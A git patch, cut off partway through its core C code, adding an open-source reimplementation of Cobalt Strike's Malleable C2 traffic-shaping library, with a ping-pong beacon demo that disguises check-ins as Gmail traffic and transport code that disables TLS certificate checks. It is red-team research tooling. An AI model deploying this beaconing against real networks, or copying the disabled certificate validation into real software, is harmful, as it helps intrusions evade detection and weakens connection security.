From 08c282335adbcf360c75fba01a0076d9d22bf9ac Mon Sep 17 00:00:00 2001 From: "ethanseow2002@gmail.com" Date: Tue, 27 Jan 2026 17:23:23 +0800 Subject: [PATCH] first commit --- .gitignore | 57 + README.md | 138 ++ examples/build.bat | 82 + examples/include/malleable_callbacks.c | 155 ++ examples/include/malleable_http_win.c | 293 ++++ examples/include/malleable_http_win.h | 39 + examples/include/openmalleable.c | 2152 ++++++++++++++++++++++++ examples/include/openmalleable.h | 486 ++++++ examples/include/openmalleable.py | 835 +++++++++ examples/pingpong_agent.c | 253 +++ examples/pingpong_server.py | 215 +++ profiles/duckduckgo.profile | 105 ++ profiles/gmail.profile | 108 ++ 13 files changed, 4918 insertions(+) create mode 100644 .gitignore create mode 100644 README.md create mode 100644 examples/build.bat create mode 100644 examples/include/malleable_callbacks.c create mode 100644 examples/include/malleable_http_win.c create mode 100644 examples/include/malleable_http_win.h create mode 100644 examples/include/openmalleable.c create mode 100644 examples/include/openmalleable.h create mode 100644 examples/include/openmalleable.py create mode 100644 examples/pingpong_agent.c create mode 100644 examples/pingpong_server.py create mode 100644 profiles/duckduckgo.profile create mode 100644 profiles/gmail.profile diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..f96b2af --- /dev/null +++ b/.gitignore @@ -0,0 +1,57 @@ +# Build artifacts +*.o +*.a +*.so +*.exe +*.obj +*.dll +*.lib +*.dylib + +# Compiled binaries +tools/openc2lint +tools/openc2lint.exe +examples/agent_example +examples/agent_example.exe +.cursor/ +c2lint/ +# Python +__pycache__/ +*.py[cod] +*$py.class +*.so +.Python +env/ +venv/ +ENV/ +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib/ +lib64/ +parts/ +sdist/ +var/ +wheels/ +*.egg-info/ +.installed.cfg +*.egg + +# IDEs +.vscode/ +.idea/ +*.swp +*.swo +*~ +.DS_Store + +# Logs +*.log + +# Temporary files +*.tmp +tmp/ +temp/ diff --git a/README.md b/README.md new file mode 100644 index 0000000..6c2a388 --- /dev/null +++ b/README.md @@ -0,0 +1,138 @@ +# OpenMalleableC2 + +**Open Source Implementation of Cobalt Strike's Malleable C2** + +OpenMalleableC2 is a framework-agnostic library that implements Cobalt Strike's Malleable C2 profile format for HTTP transformations. It enables security researchers and red teams to easily implement malleable C2 communications in custom tools and C2 frameworks. + +It allows wholesale usage of Malleable C2 profiles to send arbitrary data over HTTP, in a transparent, stable (hopefully) way. + +## Why did I make this? +There are many open source C2 frameworks that have varying degrees of HTTP traffic customization features. However, even the more developed frameworks such as Mythic, Havoc, Adaptix etc. still lack the depth of HTTP traffic customization that Cobalt Strike's Malleable C2 allows, in terms of embedding callback data within convincingly innocent looking HTTP requests. The goal of this project is to allow open source tooling to both benefit from the customization depth of the Malleable C2 system as well as the existing resources dependent on it (e.g. profiles, profile generator tools etc.) + +Its mostly working, but I make no guarantees about its stability at this time. Do report bugs if found :) + + +## Quick Start + +The provided example is a simple "ping pong" agent and server that demonstrates the typical Beacon callback. The agent will send back a GET callback to check-in for taskings, then send a POST callback to post task output back to the server. + +In this example, the taskings are just a placeholder random string, that the agent will retrieve, reverse and post back as the result. The server verifies that the reversed string is correct, and sends a response accordingly. + + +**Run ping-pong example:** +``` +# Start server +python examples\pingpong_server.py profiles\gmail.profile + +# Run agent (in another terminal) +.\examples\pingpong_agent.exe profiles\gmail.profile +``` + +Example output: +pingpong_server.py: +``` +WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead. + * Running on http://127.0.0.1:8080 +Press CTRL+C to quit + +[DEBUG] GET request received! +[DEBUG] Raw HTTP request: +GET /_/scs/mail-static/_/js/? HTTP/1.1 +Connection: Keep-Alive +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Encoding: gzip, deflate +Accept-Language: en-US,en;q=0.5 +Cookie: OSID=QkVBQ09OLUNIRUNLSU46IENvbXB1dGVyPURFU0tUT1AtSzVJRVY0RiBVc2VyPUFkbWluIFBJRD0zODc2OCBPUz1XaW5kb3dzIEFyY2g9eDY0IFRpbWVzdGFtcD0xNzY5NTA1NjYw +User-Agent: Mozilla/5.0 +Dnt: 1 +Host: 127.0.0.1:8080 + + +============================================================ +[Server] Received GET /_/scs/mail-static/_/js/ +============================================================ +[Server] Extracted metadata (102 bytes): +[Server] BEACON-CHECKIN: Computer=DESKTOP-K5IEV4F User=Admin PID=38768 OS=Windows Arch=x64 Timestamp=1769505660 +[Server] Generated challenge: DjjYXnXcLSpwGPzJqcdUfOsIlEy7sO0k +[Server] Sending task (32 bytes): +[Server] "DjjYXnXcLSpwGPzJqcdUfOsIlEy7sO0k" +[DEBUG] Raw HTTP response: +HTTP/1.1 200 OK +Content-Length: 832 +X-Content-Type-Options: nosniff +X-Frame-Options: SAMEORIGIN +Cache-Control: public, max-age=31536000 +X-XSS-Protection: 1; mode=block +Server: GSE +Alternate-Protocol: 443:quic,p=1 + +try()catch(e)(_DumpException(e))N(L.Oa(),"sy558");P(L.Oa(),"sy558");O(L.Oa(),"sy558");try()catch(e)(_DumpException(e))N(L.Oa(),"sy580");P(L.Oa(),"sy580");O(L.Oa(),"sy580")try(DjjYXnXcLSpwGPzJqcdUfOsIlEy7sO0kvar f2=function(a)(a=a.wa;return"application/chromium-bookmark-folder"==a||"application/chromium-root-folder"==a||"application/vnd.google-apps.folder"==a||"application/vnd.google-apps.photoalbum"==a||"application/vnd.google-apps.rollupphotoalbum"==a),g2=function(a)(return a.ra),s8d=function(a)(return a?hb(a,function(a)(return new UP(a)):[]),h2=function(a)(switch(a)(case "all":case "docs-images":case "docs-images-and-videos":case "docs-videos":case "documents":case "drawings":case "folders":case "forms":case "pdfs":case "presentations":case "sites":case "spreadsheets":case "tables":return!0)return!1); O(L.Oa(),"sy588") +127.0.0.1 - - [27/Jan/2026 17:21:00] "GET /_/scs/mail-static/_/js/ HTTP/1.1" 200 - + +[DEBUG] POST request received! +[DEBUG] Raw HTTP request: +POST /mail/u/0/?ui=d3244c4707&hop=6928632&start=0 HTTP/1.1 +Connection: Keep-Alive +Content-Type: application/x-www-form-urlencoded;charset=utf-8 +Cookie: OSID=MTQ4MzA= +User-Agent: Mozilla/5.0 +Content-Length: 80 +Host: 127.0.0.1:8080 + +VEFTSy1SRVNVTFQ6IFJldmVyc2VkT3V0cHV0PWswT3M3eUVsSXNPZlVkY3FKelBHd3BTTGNYblhZampE + +============================================================ +[Server] Received POST /mail/u/0/ +============================================================ +[Server] Extracted session ID (5 bytes): +[Server] 14830 +[Server] Extracted task output (60 bytes): +[Server] TASK-RESULT: ReversedOutput=k0Os7yElIsOfUdcqJzPGwpSLcXnXYjjD +[Server] Original challenge: DjjYXnXcLSpwGPzJqcdUfOsIlEy7sO0k +[Server] Expected reversed: k0Os7yElIsOfUdcqJzPGwpSLcXnXYjjD +[Server] SUCCESS! Verified reversed challenge in output +[Server] Sending confirmation (74 bytes) +[DEBUG] Raw HTTP response: +HTTP/1.1 200 OK +Content-Length: 176 +X-Content-Type-Options: nosniff +X-Frame-Options: SAMEORIGIN +Cache-Control: no-cache, no-store, max-age=0, must-revalidate +X-XSS-Protection: 1; mode=block +Server: GSE + +W1tbImFwbSIsIkNPTkZJUk1FRDogVGFzayBjb21wbGV0ZWQgc3VjY2Vzc2Z1bGx5ISBSZWNlaXZlZCByZXZlcnNlZCBzdHJpbmcgY29ycmVjdGx5Il0sWyJjaSIsW11dLFsiY20iLFtdLFtdXV0sJ2RiYjg3OTZhODBkNDVlMWYnXQ== +127.0.0.1 - - [27/Jan/2026 17:21:00] "POST /mail/u/0/?ui=d3244c4707&hop=6928632&start=0 HTTP/1.1" 200 - +``` + +pingpong_agent.exe +``` +============================================================ +Ping Pong PoC Agent +============================================================ +[Agent] Reading profile file: ..\profiles\gmail.profile +[Agent] Parsing profile from memory... +[Agent] Profile loaded: unnamed +[Agent] User-Agent: (none) + +[Agent] ===== GET: Requesting tasks from server ===== +[Agent] Metadata (102 bytes): "BEACON-CHECKIN: Computer=DESKTOP-K5IEV4F User=Admin PID=38768 OS=Windows Arch=x64 Timestamp=1769505660" +[Agent] Received task (32 bytes): "DjjYXnXcLSpwGPzJqcdUfOsIlEy7sO0k" +[Agent] Task string: "DjjYXnXcLSpwGPzJqcdUfOsIlEy7sO0k" +[Agent] Reversed task: "k0Os7yElIsOfUdcqJzPGwpSLcXnXYjjD" + +[Agent] ===== POST: Sending task results to server ===== +[Agent] Session ID (5 bytes): "14830" +[Agent] Task output (60 bytes): "TASK-RESULT: ReversedOutput=k0Os7yElIsOfUdcqJzPGwpSLcXnXYjjD" +[Agent] Server confirmation (74 bytes): "CONFIRMED: Task completed successfully! Received reversed string correctly" + +[Agent] ===== Ping pong complete ===== +[Agent] Successfully executed server task and reported results! +``` + +## References + +- [Cobalt Strike Malleable C2 Documentation](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2_main.htm) +- [Malleable C2 Profiles Repository](https://github.com/cobalt-strike/Malleable-C2-Profiles) +- Chet Jeepiti + diff --git a/examples/build.bat b/examples/build.bat new file mode 100644 index 0000000..b1e86d7 --- /dev/null +++ b/examples/build.bat @@ -0,0 +1,82 @@ +@echo off +REM Build script for OpenMalleable Examples + +echo ======================================== +echo Building OpenMalleable Examples +echo ======================================== +echo. + +REM Check for standalone clang-cl.exe in parent directory +if exist "..\clang-cl.exe" ( + echo Found Clang-CL compiler + echo. + echo Building pingpong_agent... + "..\clang-cl.exe" /nologo /O2 /Fe:pingpong_agent.exe pingpong_agent.c include\openmalleable.c include\malleable_http_win.c include\malleable_callbacks.c /I include advapi32.lib + if %ERRORLEVEL% EQU 0 ( + echo. + echo ======================================== + echo Build successful! + echo ======================================== + echo Executable: pingpong_agent.exe + echo. + echo To test: + echo pingpong_agent.exe ..\profiles\random.profile + exit /b 0 + ) else ( + echo Build failed! + exit /b 1 + ) +) + +REM Check for system-wide clang-cl +where clang-cl >nul 2>&1 +if %ERRORLEVEL% EQU 0 ( + echo Found system Clang-CL compiler + echo. + echo Building pingpong_agent... + clang-cl /nologo /O2 /Fe:pingpong_agent.exe pingpong_agent.c include\openmalleable.c include\malleable_http_win.c include\malleable_callbacks.c /I include advapi32.lib + if %ERRORLEVEL% EQU 0 ( + echo. + echo ======================================== + echo Build successful! + echo ======================================== + echo Executable: pingpong_agent.exe + echo. + echo To test: + echo pingpong_agent.exe ..\profiles\random.profile + exit /b 0 + ) else ( + echo Build failed! + exit /b 1 + ) +) + +REM Check for GCC +where gcc >nul 2>&1 +if %ERRORLEVEL% EQU 0 ( + echo Found GCC compiler + echo. + echo Building pingpong_agent... + gcc -O2 -o pingpong_agent.exe pingpong_agent.c include\openmalleable.c include\malleable_http_win.c include\malleable_callbacks.c -I include -lwinhttp -ladvapi32 + if %ERRORLEVEL% EQU 0 ( + echo. + echo ======================================== + echo Build successful! + echo ======================================== + echo Executable: pingpong_agent.exe + echo. + echo To test: + echo pingpong_agent.exe ..\profiles\random.profile + exit /b 0 + ) else ( + echo Build failed! + exit /b 1 + ) +) + +echo ======================================== +echo ERROR: No C compiler found! +echo ======================================== +echo. +echo Please install Clang, GCC, or MSVC +exit /b 1 diff --git a/examples/include/malleable_callbacks.c b/examples/include/malleable_callbacks.c new file mode 100644 index 0000000..62028ab --- /dev/null +++ b/examples/include/malleable_callbacks.c @@ -0,0 +1,155 @@ +/** + * Malleable - Transparent Callback API Implementation + * + * High-level functions that combine request building, HTTP transport, and response parsing. + * Link this file along with malleable_http_win.c to get full callback functionality. + */ + +#include "openmalleable.h" +#include "malleable_http_win.h" +#include +#include + +malleable_error_t malleable_callback_get( + const malleable_profile_t* profile, + const char* variant, + const char* host, + int port, + int use_https, + const uint8_t* metadata, + size_t metadata_len, + uint8_t** tasks_out, + size_t* tasks_len_out +) { + if (!profile || !host || !metadata || !tasks_out || !tasks_len_out) { + return MALLEABLE_ERROR_INVALID_PROFILE; + } + + // Default ports + if (port == 0) { + port = use_https ? 443 : 80; + } + + // Step 1: Build GET request with metadata + malleable_http_request_t* request = NULL; + malleable_error_t err = malleable_build_get_request( + profile, variant, metadata, metadata_len, &request + ); + if (err != MALLEABLE_SUCCESS) { + return err; + } + + // Step 2: Send HTTP request + malleable_http_response_t* response = NULL; + err = malleable_http_send(host, port, use_https, request, &response); + malleable_http_request_free(request); + + if (err != MALLEABLE_SUCCESS) { + return err; + } + + // Step 3: Parse response and extract tasks + err = malleable_parse_get_response(profile, variant, response, tasks_out, tasks_len_out); + malleable_http_response_free(response); + + return err; +} + +malleable_error_t malleable_callback_post( + const malleable_profile_t* profile, + const char* variant, + const char* host, + int port, + int use_https, + const uint8_t* session_id, + size_t id_len, + const uint8_t* output, + size_t output_len, + uint8_t** response_out, + size_t* response_len_out +) { + if (!profile || !host || !session_id || !output) { + return MALLEABLE_ERROR_INVALID_PROFILE; + } + + // Default ports + if (port == 0) { + port = use_https ? 443 : 80; + } + + // Step 1: Build POST request with session ID and output + malleable_http_request_t* request = NULL; + malleable_error_t err = malleable_build_post_request( + profile, variant, session_id, id_len, output, output_len, &request + ); + if (err != MALLEABLE_SUCCESS) { + return err; + } + + // Step 2: Send HTTP request + malleable_http_response_t* response = NULL; + err = malleable_http_send(host, port, use_https, request, &response); + malleable_http_request_free(request); + + if (err != MALLEABLE_SUCCESS) { + return err; + } + + // Step 3: Optionally parse response data (POST responses often empty) + if (response_out && response_len_out && response->body_len > 0) { + // Try to extract response data if present + malleable_http_transaction_t* txn = malleable_find_transaction( + profile->http_post_transactions, + profile->num_http_post, + variant + ); + + if (txn && txn->server.output) { + // Extract and reverse transform server response + const char* extracted = NULL; + char* extracted_copy = NULL; + + switch (txn->server.output->termination.type) { + case MALLEABLE_TERM_PRINT: + if (response->body && response->body_len > 0) { + extracted_copy = (char*)malloc(response->body_len + 1); + if (extracted_copy) { + memcpy(extracted_copy, response->body, response->body_len); + extracted_copy[response->body_len] = '\0'; + } + } + break; + + case MALLEABLE_TERM_HEADER: + for (size_t i = 0; i < response->num_headers; i++) { + const char* header = response->headers[i]; + size_t name_len = strlen(txn->server.output->termination.target); + if (strncmp(header, txn->server.output->termination.target, name_len) == 0 && + header[name_len] == ':') { + extracted = header + name_len + 1; + while (*extracted == ' ') extracted++; + extracted_copy = _strdup(extracted); + break; + } + } + break; + + default: + break; + } + + if (extracted_copy) { + size_t extracted_len = strlen(extracted_copy); + err = malleable_transform_reverse(txn->server.output, + (uint8_t*)extracted_copy, + extracted_len, + response_out, + response_len_out); + free(extracted_copy); + } + } + } + + malleable_http_response_free(response); + return MALLEABLE_SUCCESS; +} diff --git a/examples/include/malleable_http_win.c b/examples/include/malleable_http_win.c new file mode 100644 index 0000000..0808586 --- /dev/null +++ b/examples/include/malleable_http_win.c @@ -0,0 +1,293 @@ +/** + * Malleable - Windows HTTP Transport Implementation + */ + +#include "malleable_http_win.h" +#include +#include +#include +#include +#include + +#pragma comment(lib, "winhttp.lib") + +/* Helper to convert ASCII to wide string */ +static LPWSTR ascii_to_wide(const char* str) { + if (!str) return NULL; + + int len = MultiByteToWideChar(CP_ACP, 0, str, -1, NULL, 0); + if (len == 0) return NULL; + + LPWSTR wstr = (LPWSTR)malloc(len * sizeof(WCHAR)); + if (!wstr) return NULL; + + MultiByteToWideChar(CP_ACP, 0, str, -1, wstr, len); + return wstr; +} + +/* Helper to convert wide string to ASCII */ +static char* wide_to_ascii(LPCWSTR wstr) { + if (!wstr) return NULL; + + int len = WideCharToMultiByte(CP_ACP, 0, wstr, -1, NULL, 0, NULL, NULL); + if (len == 0) return NULL; + + char* str = (char*)malloc(len); + if (!str) return NULL; + + WideCharToMultiByte(CP_ACP, 0, wstr, -1, str, len, NULL, NULL); + return str; +} + +malleable_error_t malleable_http_send( + const char* host, + int port, + int use_https, + const malleable_http_request_t* request, + malleable_http_response_t** response +) { + if (!host || !request || !response) { + return MALLEABLE_ERROR_INVALID_PROFILE; + } + + malleable_error_t result = MALLEABLE_ERROR_TRANSFORM_FAILED; + HINTERNET hSession = NULL; + HINTERNET hConnect = NULL; + HINTERNET hRequest = NULL; + LPWSTR whost = NULL; + LPWSTR wuri = NULL; + LPWSTR wmethod = NULL; + LPWSTR wheaders = NULL; + + // Initialize WinHTTP + whost = ascii_to_wide(host); + wuri = ascii_to_wide(request->uri); + wmethod = ascii_to_wide(request->method); + + if (!whost || !wuri || !wmethod) { + result = MALLEABLE_ERROR_MEMORY; + goto cleanup; + } + + // Create session + hSession = WinHttpOpen( + L"Mozilla/5.0", + WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, + WINHTTP_NO_PROXY_NAME, + WINHTTP_NO_PROXY_BYPASS, + 0 + ); + + if (!hSession) { + goto cleanup; + } + + // Set timeouts (30 seconds) + WinHttpSetTimeouts(hSession, 30000, 30000, 30000, 30000); + + // Connect to server + hConnect = WinHttpConnect( + hSession, + whost, + (INTERNET_PORT)port, + 0 + ); + + if (!hConnect) { + goto cleanup; + } + + // Open request + DWORD dwFlags = (use_https ? WINHTTP_FLAG_SECURE : 0); + + hRequest = WinHttpOpenRequest( + hConnect, + wmethod, + wuri, + NULL, + WINHTTP_NO_REFERER, + WINHTTP_DEFAULT_ACCEPT_TYPES, + dwFlags + ); + + if (!hRequest) { + goto cleanup; + } + + // Disable SSL certificate validation for testing (REMOVE IN PRODUCTION!) + if (use_https) { + DWORD dwSecurityFlags = + SECURITY_FLAG_IGNORE_UNKNOWN_CA | + SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | + SECURITY_FLAG_IGNORE_CERT_CN_INVALID | + SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE; + + WinHttpSetOption( + hRequest, + WINHTTP_OPTION_SECURITY_FLAGS, + &dwSecurityFlags, + sizeof(dwSecurityFlags) + ); + } + + // Build headers string + size_t headers_len = 0; + for (size_t i = 0; i < request->num_headers; i++) { + headers_len += strlen(request->headers[i]) + 2; // +2 for \r\n + } + + char* headers_str = NULL; + if (headers_len > 0) { + headers_str = (char*)malloc(headers_len + 1); + if (!headers_str) { + result = MALLEABLE_ERROR_MEMORY; + goto cleanup; + } + + headers_str[0] = '\0'; + for (size_t i = 0; i < request->num_headers; i++) { + strcat_s(headers_str, headers_len + 1, request->headers[i]); + strcat_s(headers_str, headers_len + 1, "\r\n"); + } + + wheaders = ascii_to_wide(headers_str); + free(headers_str); + + if (!wheaders) { + result = MALLEABLE_ERROR_MEMORY; + goto cleanup; + } + } + + // Send request + BOOL bResult = WinHttpSendRequest( + hRequest, + wheaders ? wheaders : WINHTTP_NO_ADDITIONAL_HEADERS, + wheaders ? -1L : 0, + (LPVOID)request->body, + (DWORD)request->body_len, + (DWORD)request->body_len, + 0 + ); + + if (!bResult) { + goto cleanup; + } + + // Receive response + bResult = WinHttpReceiveResponse(hRequest, NULL); + if (!bResult) { + goto cleanup; + } + + // Allocate response structure + malleable_http_response_t* resp = (malleable_http_response_t*)calloc(1, sizeof(malleable_http_response_t)); + if (!resp) { + result = MALLEABLE_ERROR_MEMORY; + goto cleanup; + } + + // Get status code + DWORD dwStatusCode = 0; + DWORD dwSize = sizeof(DWORD); + WinHttpQueryHeaders( + hRequest, + WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, + NULL, + &dwStatusCode, + &dwSize, + NULL + ); + resp->status_code = (int)dwStatusCode; + + // Get response headers + dwSize = 0; + WinHttpQueryHeaders( + hRequest, + WINHTTP_QUERY_RAW_HEADERS_CRLF, + NULL, + NULL, + &dwSize, + NULL + ); + + if (dwSize > 0) { + LPWSTR wresponse_headers = (LPWSTR)malloc(dwSize); + if (wresponse_headers) { + if (WinHttpQueryHeaders( + hRequest, + WINHTTP_QUERY_RAW_HEADERS_CRLF, + NULL, + wresponse_headers, + &dwSize, + NULL + )) { + char* response_headers = wide_to_ascii(wresponse_headers); + if (response_headers) { + // Parse headers into array + char* context = NULL; + char* line = strtok_s(response_headers, "\r\n", &context); + while (line) { + if (strlen(line) > 0 && strchr(line, ':')) { + resp->num_headers++; + resp->headers = (char**)realloc(resp->headers, resp->num_headers * sizeof(char*)); + if (resp->headers) { + resp->headers[resp->num_headers - 1] = _strdup(line); + } + } + line = strtok_s(NULL, "\r\n", &context); + } + free(response_headers); + } + } + free(wresponse_headers); + } + } + + // Read response body + DWORD dwTotalSize = 0; + DWORD dwDownloaded = 0; + BYTE* pBuffer = NULL; + + do { + dwSize = 0; + if (!WinHttpQueryDataAvailable(hRequest, &dwSize)) { + break; + } + + if (dwSize == 0) { + break; + } + + pBuffer = (BYTE*)realloc(resp->body, dwTotalSize + dwSize); + if (!pBuffer) { + result = MALLEABLE_ERROR_MEMORY; + malleable_http_response_free(resp); + goto cleanup; + } + resp->body = pBuffer; + + if (!WinHttpReadData(hRequest, resp->body + dwTotalSize, dwSize, &dwDownloaded)) { + break; + } + + dwTotalSize += dwDownloaded; + + } while (dwSize > 0); + + resp->body_len = dwTotalSize; + + *response = resp; + result = MALLEABLE_SUCCESS; + +cleanup: + if (wheaders) free(wheaders); + if (wmethod) free(wmethod); + if (wuri) free(wuri); + if (whost) free(whost); + if (hRequest) WinHttpCloseHandle(hRequest); + if (hConnect) WinHttpCloseHandle(hConnect); + if (hSession) WinHttpCloseHandle(hSession); + + return result; +} diff --git a/examples/include/malleable_http_win.h b/examples/include/malleable_http_win.h new file mode 100644 index 0000000..8016efc --- /dev/null +++ b/examples/include/malleable_http_win.h @@ -0,0 +1,39 @@ +/** + * Malleable - Windows HTTP Transport + * + * WinHTTP-based HTTP/HTTPS client for Windows platforms. + * This module provides actual network connectivity for malleable C2 callbacks. + */ + +#ifndef MALLEABLE_HTTP_WIN_H +#define MALLEABLE_HTTP_WIN_H + +#include "openmalleable.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * Send an HTTP request and receive response using WinHTTP + * + * @param host Target host (domain or IP address) + * @param port Target port (default: 80 for HTTP, 443 for HTTPS) + * @param use_https Use HTTPS/TLS if true, plain HTTP if false + * @param request Request structure to send + * @param response Output response structure (caller must free with malleable_http_response_free) + * @return MALLEABLE_SUCCESS or error code + */ +malleable_error_t malleable_http_send( + const char* host, + int port, + int use_https, + const malleable_http_request_t* request, + malleable_http_response_t** response +); + +#ifdef __cplusplus +} +#endif + +#endif /* MALLEABLE_HTTP_WIN_H */ diff --git a/examples/include/openmalleable.c b/examples/include/openmalleable.c new file mode 100644 index 0000000..72f840e --- /dev/null +++ b/examples/include/openmalleable.c @@ -0,0 +1,2152 @@ +/** + * Malleable - Implementation + */ + +#include "openmalleable.h" +#include +#include +#include +#include +#include + +/* Avoid unused parameter warnings in stub functions */ +#define MALLEABLE_UNUSED(x) (void)(x) + +/* ===================================================================== */ +/* INTERNAL UTILITIES */ +/* ===================================================================== */ + +static void* malleable_malloc(size_t size) { + void* ptr = malloc(size); + if (!ptr && size > 0) { + fprintf(stderr, "Malleable: Memory allocation failed\n"); + } + return ptr; +} + +static void* malleable_realloc(void* ptr, size_t size) { + void* new_ptr = realloc(ptr, size); + if (!new_ptr && size > 0) { + fprintf(stderr, "Malleable: Memory reallocation failed\n"); + } + return new_ptr; +} + +static char* malleable_strdup(const char* str) { + if (!str) return NULL; + size_t len = strlen(str); + char* dup = (char*)malleable_malloc(len + 1); + if (dup) { + memcpy(dup, str, len + 1); + } + return dup; +} + +static int malleable_strncasecmp(const char* a, const char* b, size_t n) { + for (size_t i = 0; i < n; i++) { + unsigned char ca = (unsigned char)a[i]; + unsigned char cb = (unsigned char)b[i]; + if (ca == '\0' || cb == '\0') { + return tolower(ca) - tolower(cb); + } + int diff = tolower(ca) - tolower(cb); + if (diff != 0) return diff; + } + return 0; +} + +static char* trim_in_place(char* s) { + if (!s) return s; + while (*s && isspace((unsigned char)*s)) s++; + char* end = s + strlen(s); + while (end > s && isspace((unsigned char)*(end - 1))) { + end--; + } + *end = '\0'; + return s; +} + +/* ===================================================================== */ +/* BASE64 ENCODING/DECODING */ +/* ===================================================================== */ + +static const char base64_table[] = + "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; + +static const char base64url_table[] = + "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"; + +static int base64_decode_char(char c) { + // Handle both standard base64 and URL-safe base64 + if (c == '=') return -1; // Padding + + if (c >= 'A' && c <= 'Z') return c - 'A'; + if (c >= 'a' && c <= 'z') return c - 'a' + 26; + if (c >= '0' && c <= '9') return c - '0' + 52; + + // Standard base64: + and / + if (c == '+') return 62; + if (c == '/') return 63; + + // URL-safe base64: - and _ + if (c == '-') return 62; + if (c == '_') return 63; + + return -2; // Invalid character +} + +static malleable_error_t base64_encode_impl( + const uint8_t* input, + size_t input_len, + uint8_t** output, + size_t* output_len, + const char* table, + int padding +) { + if (input_len == 0) { + *output = (uint8_t*)malleable_malloc(1); + if (!*output) return MALLEABLE_ERROR_MEMORY; + (*output)[0] = '\0'; + *output_len = 0; + return MALLEABLE_SUCCESS; + } + + size_t encoded_len = ((input_len + 2) / 3) * 4; + *output = (uint8_t*)malleable_malloc(encoded_len + 1); + if (!*output) return MALLEABLE_ERROR_MEMORY; + + size_t j = 0; + + for (size_t i = 0; i < input_len; i += 3) { + uint32_t octet_a = input[i]; + uint32_t octet_b = (i + 1 < input_len) ? input[i + 1] : 0; + uint32_t octet_c = (i + 2 < input_len) ? input[i + 2] : 0; + + uint32_t triple = (octet_a << 16) | (octet_b << 8) | octet_c; + + // First two characters are always output + (*output)[j++] = table[(triple >> 18) & 0x3F]; + (*output)[j++] = table[(triple >> 12) & 0x3F]; + + // Third character: output if we had at least 2 input bytes, or padding + if (i + 1 < input_len) { + (*output)[j++] = table[(triple >> 6) & 0x3F]; + } else if (padding) { + (*output)[j++] = '='; + } + + // Fourth character: output if we had all 3 input bytes, or padding + if (i + 2 < input_len) { + (*output)[j++] = table[triple & 0x3F]; + } else if (padding) { + (*output)[j++] = '='; + } + } + + (*output)[j] = '\0'; + *output_len = j; + return MALLEABLE_SUCCESS; +} + +static malleable_error_t base64_decode_impl( + const uint8_t* input, + size_t input_len, + uint8_t** output, + size_t* output_len +) { + if (input_len == 0) { + *output = (uint8_t*)malleable_malloc(1); + if (!*output) return MALLEABLE_ERROR_MEMORY; + (*output)[0] = '\0'; + *output_len = 0; + return MALLEABLE_SUCCESS; + } + + // Calculate max decoded length (may be less due to padding) + size_t decoded_len = ((input_len + 3) / 4) * 3; + *output = (uint8_t*)malleable_malloc(decoded_len + 1); + if (!*output) return MALLEABLE_ERROR_MEMORY; + + size_t j = 0; + size_t i = 0; + + while (i < input_len) { + uint32_t sextet[4] = {0, 0, 0, 0}; + int valid_count = 0; + + // Read up to 4 base64 characters + for (int k = 0; k < 4 && i < input_len; k++) { + char c = (char)input[i++]; + + // Skip whitespace + if (c == ' ' || c == '\n' || c == '\r' || c == '\t') { + k--; + continue; + } + + int val = base64_decode_char(c); + + if (val == -1) { + // Padding character '=', stop collecting + continue; + } + + if (val == -2) { + // Invalid character, skip it + k--; + continue; + } + + sextet[valid_count++] = (uint32_t)val; + } + + // Decode based on how many valid characters we got + if (valid_count >= 2) { + uint32_t triple = (sextet[0] << 18) | (sextet[1] << 12) | (sextet[2] << 6) | sextet[3]; + + (*output)[j++] = (triple >> 16) & 0xFF; + + if (valid_count >= 3) { + (*output)[j++] = (triple >> 8) & 0xFF; + } + + if (valid_count >= 4) { + (*output)[j++] = triple & 0xFF; + } + } + } + + (*output)[j] = '\0'; + *output_len = j; + return MALLEABLE_SUCCESS; +} + +/* ===================================================================== */ +/* NETBIOS ENCODING/DECODING */ +/* ===================================================================== */ + +static malleable_error_t netbios_encode( + const uint8_t* input, + size_t input_len, + uint8_t** output, + size_t* output_len, + char base_char +) { + *output_len = input_len * 2; + *output = (uint8_t*)malleable_malloc(*output_len + 1); + if (!*output) return MALLEABLE_ERROR_MEMORY; + + for (size_t i = 0; i < input_len; i++) { + (*output)[i * 2] = base_char + (input[i] >> 4); + (*output)[i * 2 + 1] = base_char + (input[i] & 0x0F); + } + (*output)[*output_len] = '\0'; + + return MALLEABLE_SUCCESS; +} + +static malleable_error_t netbios_decode( + const uint8_t* input, + size_t input_len, + uint8_t** output, + size_t* output_len, + char base_char +) { + if (input_len % 2 != 0) { + return MALLEABLE_ERROR_TRANSFORM_FAILED; + } + + *output_len = input_len / 2; + *output = (uint8_t*)malleable_malloc(*output_len + 1); + if (!*output) return MALLEABLE_ERROR_MEMORY; + + for (size_t i = 0; i < *output_len; i++) { + uint8_t high = input[i * 2] - base_char; + uint8_t low = input[i * 2 + 1] - base_char; + (*output)[i] = (high << 4) | low; + } + (*output)[*output_len] = '\0'; + + return MALLEABLE_SUCCESS; +} + +/* ===================================================================== */ +/* MASK (XOR) TRANSFORM */ +/* ===================================================================== */ + +static malleable_error_t mask_encode( + const uint8_t* input, + size_t input_len, + uint8_t** output, + size_t* output_len +) { + // Generate random 4-byte key + uint8_t key[4]; + srand((unsigned int)time(NULL)); + for (int i = 0; i < 4; i++) { + key[i] = (uint8_t)(rand() % 256); + } + + // Output is key + masked data + *output_len = 4 + input_len; + *output = (uint8_t*)malleable_malloc(*output_len); + if (!*output) return MALLEABLE_ERROR_MEMORY; + + // Prepend key + memcpy(*output, key, 4); + + // XOR data with key + for (size_t i = 0; i < input_len; i++) { + (*output)[4 + i] = input[i] ^ key[i % 4]; + } + + return MALLEABLE_SUCCESS; +} + +static malleable_error_t mask_decode( + const uint8_t* input, + size_t input_len, + uint8_t** output, + size_t* output_len +) { + if (input_len < 4) { + return MALLEABLE_ERROR_TRANSFORM_FAILED; + } + + // Extract key from first 4 bytes + const uint8_t* key = input; + const uint8_t* data = 